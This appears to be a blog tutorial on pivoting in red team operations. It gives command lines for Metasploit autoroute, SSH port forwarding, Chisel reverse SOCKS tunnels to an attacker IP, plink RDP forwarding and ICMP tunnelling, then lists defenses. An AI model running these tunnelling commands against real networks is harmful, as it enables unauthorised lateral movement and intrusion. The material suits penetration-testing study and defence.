Pivoting in Red Team Operations: A Complete Guide
Introduction
In a real-world red team operation, gaining initial access is just the beginning. The real challenge is pivoting—the ability to move laterally, escalate privileges, and compromise additional systems within the network.
What is Pivoting?
Pivoting is a technique used to route traffic through a compromised host to access internal networks that are not directly reachable.
Types of Pivoting
- Network Pivoting: Routes network traffic through a compromised host (e.g., SSH Tunneling, Metasploit, ProxyChains).
- Port Forwarding: Exposes specific ports from an internal machine to the attacker (e.g., SSH Local Port Forwarding).
Step 1: Pivoting Using Metasploit
Setting Up a Pivot via Meterpreter
meterpreter> background
run autoroute -s 192.168.1.0/24
Now, all traffic destined for 192.168.1.0/24
will be routed through this compromised host.
Step 2: Pivoting with SSH Tunneling
Using Local Port Forwarding
ssh -L 8080:192.168.1.100:80 user@pivot-host
Using Dynamic Port Forwarding (SOCKS Proxy)
ssh -D 9050 user@pivot-host
Step 3: Pivoting with Chisel
Setup on Attacker Machine
./chisel server --reverse --port 8080
Setup on Compromised Host
./chisel client <attacker-ip>:8080 R:1080:socks
Step 4: Pivoting with RDP (Remote Desktop Protocol)
plink.exe -ssh -L 3389:192.168.1.100:3389 user@pivot-host
Step 5: Exploiting Firewall Rules with ICMP Tunnel
Start ICMP Server on Attacker Machine
./icmp-server eth0
Start ICMP Client on Compromised Host
./icmp-client <attacker-ip>
How to Defend Against Pivoting Attacks
- Segment Networks – Isolate DMZ, internal, and user networks.
- Use Firewalls – Block unnecessary outbound traffic.
- Monitor SOCKS & Proxy Usage – Detect unusual traffic.
- Implement EDR Solutions – Detect tunneling and backdoors.
- Disable Unused Services – Prevent lateral movement.
Conclusion
Pivoting is a critical skill for red teamers, allowing attackers to move deeper into a network after initial access.
⚠️ Reminder: These techniques should only be used for legal penetration testing and red team assessments.
The above code can be automated via customer script
Comments
Post a Comment